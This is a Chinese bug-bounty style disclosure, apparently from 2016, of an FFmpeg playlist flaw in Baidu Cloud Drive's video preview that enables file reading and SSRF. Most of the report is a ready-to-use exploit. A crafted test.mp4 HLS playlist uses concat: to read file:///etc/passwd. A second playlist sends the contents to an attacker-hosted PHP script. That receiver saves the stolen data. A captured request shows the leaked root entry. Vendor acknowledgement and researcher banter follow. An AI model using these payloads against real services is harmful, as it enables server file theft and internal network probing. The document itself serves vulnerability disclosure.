百度云盘文件读取/SSRF

相关链接

https://hackerone.com/reports/115857
 https://habrahabr.ru/company/mailru/blog/274855/

FFmpeg的问题。在百度云盘上上传一个test.mp4视频,应该还影响其他的视频应用。

打开即可文件读取。

========

test.mp4 (需要上传到视频的文件)

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 concat:http://u-url/exp/movie/header.m3u8|file:///etc/passwd
 #EXT-X-ENDLIST

concat:http://u-url/exp/movie/header.m3u8|http://baidu.com

header.m3u8 （分段用的）

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:,
 http://u-url/exp/movie/comm.php?x=

comm.php （接收数据用的）

<?php
 file_put_contents(time()."_test.txt",$_GET['x']);
 ?>

准备好之后 上传mp4到百度盘上然后预览视频即可触发,也可以ssrf

数据

GET /root:x:0:0:root:/root:/bin/bash HTTP/1.1
 User-Agent: Lavf/55.50.100
 Accept: */*
 Connection: close

升级FFmpeg

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-05-06 18:06

厂商回复：

感谢您关注百度安全！

最新状态：

暂无

1. 2016-05-05 16:11 | 浩天 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

   0

   刚开始我不信，现在我信了

   1# 回复此人

2. 2016-05-05 16:15 | 隐形人真忙 ( 普通白帽子 | Rank:201 漏洞数:25 | ...)

   0

   @浩天 hackerone上有相关案例的

   2# 回复此人

3. 2016-05-05 16:20 | scanf ( 核心白帽子 | Rank:1694 漏洞数:239 | 。)

   0

   刚开始我不信，现在我信了

   3# 回复此人

4. 2016-05-05 16:34 | 玉林嘎 ( 普通白帽子 | Rank:941 漏洞数:108 )

   0

   刚开始我不信，现在我信了

   4# 回复此人

5. 2016-05-05 16:35 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

   0

   刚开始我不信，现在我信了

   5# 回复此人

6. 2016-05-05 16:40 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

   0

   楼上的 刚开始我不信，现在我信了

   6# 回复此人

7. 2016-05-05 16:40 | Drizzle.Risk ( 普通白帽子 | Rank:265 漏洞数:20 | 放下屠刀，立地成蛤)

   0

   都是ImageTragick？

   7# 回复此人

8. 2016-05-05 16:44 | F4K3R ( 普通白帽子 | Rank:318 漏洞数:34 | 求团队收留。)

   0

   干嘛不弹SHELL

   8# 回复此人

9. 2016-05-05 17:10 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

   0

   我还是信了吧= =

   9# 回复此人

10. 2016-05-05 17:12 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

    0

    来了！

    10# 回复此人

11. 2016-05-05 19:49 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    0

    是不是rpc啊

    11# 回复此人

12. 2016-05-05 20:47 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    0

    @hear7v 好吧，我错了，我信了

    12# 回复此人